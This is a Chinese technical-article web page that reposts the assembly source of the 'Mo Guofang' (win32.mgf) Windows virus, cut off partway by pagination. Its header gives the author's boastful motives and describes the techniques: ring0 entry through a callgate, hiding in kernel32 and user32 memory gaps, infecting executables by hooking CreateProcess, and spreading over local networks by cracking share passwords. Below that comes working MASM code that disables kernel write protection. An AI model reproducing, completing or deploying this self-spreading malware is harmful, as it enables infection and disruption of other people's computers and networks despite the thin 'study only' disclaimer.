当前位置:首页 » 服务器技术
开发技术指南» 文章正文
    引言: ;写毒目的:;1,崇拜陈盈豪,欲与CIH一比高低;;2,传播技术,提高国人的水平(如果你把源程序读懂,并跟踪一遍病毒,你的技术会大大提高);;3,让世界知道中国还是有人的; ;相关技术:;1,进入RING0:在WIN98用和CIH一样的技术,直接往GDT添加CALLGATE;在WIN 2000...
 

 

    摘要:移植性一直是oracle的强项,看来这次也不例外. http://www.eweek.com/article2/0,1759,1618428,00.aspthe redwood shores, calif., database behemoth will announce wednesday at apple computer inc.´s annual worldwide developers conference and at the ja......
    摘要:看完了doom启示录,尽管我看书的速度只有老爸的一半,但是,足以比其他人快许多倍…… 看完过后,我想到的不是两个约翰,而是——比尔盖茨和他的朋友保罗艾伦……因为同样是朋友,同样是很早就在一起,一起创业。那个时代的人们,只有这两个人走的最远。我的一个疑惑:用windows的某些人们,你们凭什么骂微软,鄙视微软?还有哪些技术人员。为什么鄙视微软? 随便举个例子,曾经在左轻侯的网站(www.wushuang.net)看他和stroustup的访谈之后的印象。里面......


“莫国防”病毒(win32.mgf)的源程序
;“莫国防”病毒(win32.mgf)的源程序

; 警告:本程序仅供各位学习研究,不许更改本程序成病毒新变种,更不允许添加破坏性代码,各位切记!

【相关文章:浅谈及实战Web Service

【扩展阅读:Linux备份策略研究

【扩展信息:获得CPU的信息

;写毒目的:

;1,崇拜陈盈豪,欲与cih一比高低;

;2,传播技术,提高国人的水平(如果你把源程序读懂,并跟踪一遍病毒,你的技术会大大提高);

;3,让世界知道中国还是有人的;

;相关技术:

;1,进入ring0:在win98用与cih一样的技术,直接往gdt添加callgate;在win 2000/xp/2003里把

; callgate写入ntldr里,重启后生效(独创技术,这也是windows 2000/xp/2003的一个漏洞)。

;2,驻留内存:由于所有dll模块装入内存后,在文件头只使用1k空间,还有3k空间剩余,所以本病毒

; 把自身的3k放入kernel32.dll的空隙里,剩下2k放在user32.dll里,但win98比较特殊,剩下2k用vxd的

; _pageallocate分配空间。本毒驻留不靠建立进程与globalalloc内存,而是插入模块的空隙里,因此在

; 任务管理器里是看不到病毒的,更终止不了它在内存感染文件,所以本病毒难杀就难在这里!很多杀毒

; 软件要么找不到本病毒,即使找到了也杀不了或杀不干净,束手无策(独创技术)。

;3,拦截文件操作:为了在win98与win 2000/xp/2003里通用,采用拦截createprocess函数的方法感染pe文

; 件(独创技术)。

;4,局域网传播:用自身的密码生成器破解远程主机的共享密码,成功后把病毒复制到对方的启动文件夹中。

;5,电子邮件传播:呵呵,目前还没有此项功能!

;危害估计:

;1,影响中毒者的正常操作;

;2,由于每运行一个程序就建立一个感染局域网线程,这些线程都用到mpr模块,估计运行几个程序后mpr会

; 崩溃,引起非法操作(找比尔.盖茨去吧,谁叫他给你的mpr不堪负重?);

;3,绝对没有破坏数据,覆盖bios,窃取信息资料等恶意行为。

; 俺的技术也在不断提高,也许还有下一个更厉害的病毒哦,呵呵

.586p

.model flat,stdcall

option casemap:none

include windows.inc

include kernel32.inc

include user32.inc

include advapi32.inc

include mpr.inc

includelib kernel32.lib

includelib user32.lib

includelib advapi32.lib

includelib mpr.lib

virussize = offset virusend-offset virusstart

virussizep1 = offset _othermemposition-offset virusstart ;本毒在内存的感染pe文件部分

virussizep2 = virussize-virussizep1 ;本毒的后半部分,不活动

.code

virusstart:

nop

pushfd

pushad

db 0e8h,0,0,0,0 ;这是一条call命令,在这里相当于push eip

pop ebx ;ebx=ebx指令在内存的实际地址

mov edx,ebx

mov eax,ebx

sub ebx,$-5 ;实际地址-设计地址=地址差=重定位值=ebx

sub edx,8

call _getmoduleaddress ;取得本进程的装载地址

add eax,[eax+3ch]

mov lpoldpe[ebx],eax

sub edx,[eax+28h]

sub edx,[eax+34h]

add virusexit[ebx],edx ;edx=本进程的重定位值,修正原来程序入口

mov eax,[esp+24h]

call _getmoduleaddress ;取得hkernel32

mov hkernel32[ebx],eax

mov callgatesel[ebx],103h

call _getc3address ;在kernel32.dll模块中查找ret(0xc3)的地址

lea esi,[ebx+functionnametab+8] ;首先取得loadlibrarya,getprocaddress,getversion的地址

lea edi,functionaddresstab[ebx]

mov ecx,3

@@:

lodsd

add eax,ebx

push eax

push hkernel32[ebx]

call _getprocaddress

stosd

loop @b

call dwgetversion[ebx]

shr eax,31

mov dwversion[ebx],eax ;windows 版本放入dwversion变量,98=1,2000/xp/2003=0

call _iswindows9x ;如果是win98马上往gdt中添加callgate

lea esi,[ebx+functionnametab+4*7]

mov ecx,4

@@:

lodsd

add eax,ebx

.if dwversion[ebx]

mov byte ptr [eax-2],´a´

.else

mov byte ptr [eax-2],´w´

.endif

loop @b ;处理ansi/unicode api函数名

call _processimporttab ;导入所有api函数

lea eax,szuser32[ebx]

push eax

call dwloadlibrary[ebx]

mov huser32[ebx],eax

xor edx,edx

lar edx,callgatesel[ebx]

.if dh!=0ech ;如果是第一次感染2000/xp/2003,把callgate写入ntldr,感染桌面的快捷方式对应的exe文件,等待重新启动callgate生效

push 4

lea eax,szntldr[ebx]

push eax

call _editfile

call _editlnkfile

.else ;如果是win98或内存中有callgate的2000/xp/2003,就进入ring0

dw 9bffh

dd offset callgatesel-4

mov eax,esp

mov esp,[esp+4] ;切换堆栈

push eax

mov eax,cr0

btr eax,16

mov cr0,eax ;去掉kernel32模块只读内存页的写保护

mov eax,lpoldpe[ebx]

mov edx,dwoldentry[ebx]

mov [eax+28h],edx

mov edx,dwoldimage[ebx]

mov [eax+50h],edx ;恢复进程的入口与映像大小,避过某些程序的自我保护

mov edi,hkernel32[ebx]

add edi,[edi+3ch]

mov edi,[edi+54h]

add edi,hkernel32[ebx]

mov lpmemposition1[ebx],edi

lea esi,virusstart[ebx]

mov ecx,10h

repz cmpsb ;判断病毒是否已经在内存

.if !zero? ;not in mem

.if dwversion[ebx] ;不在内存

push 0fh

push 0

push -1

push 0

push 0

push 0


...   下一页
    摘要: to provide an unencumbered rpm based enterprise linux distribution that retains enough compatibility with red hat enterprise linux (version 3 and beyond) to allow easy upgrades and to retain compatibility with their errata srpms.......
» 本期热门文章:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE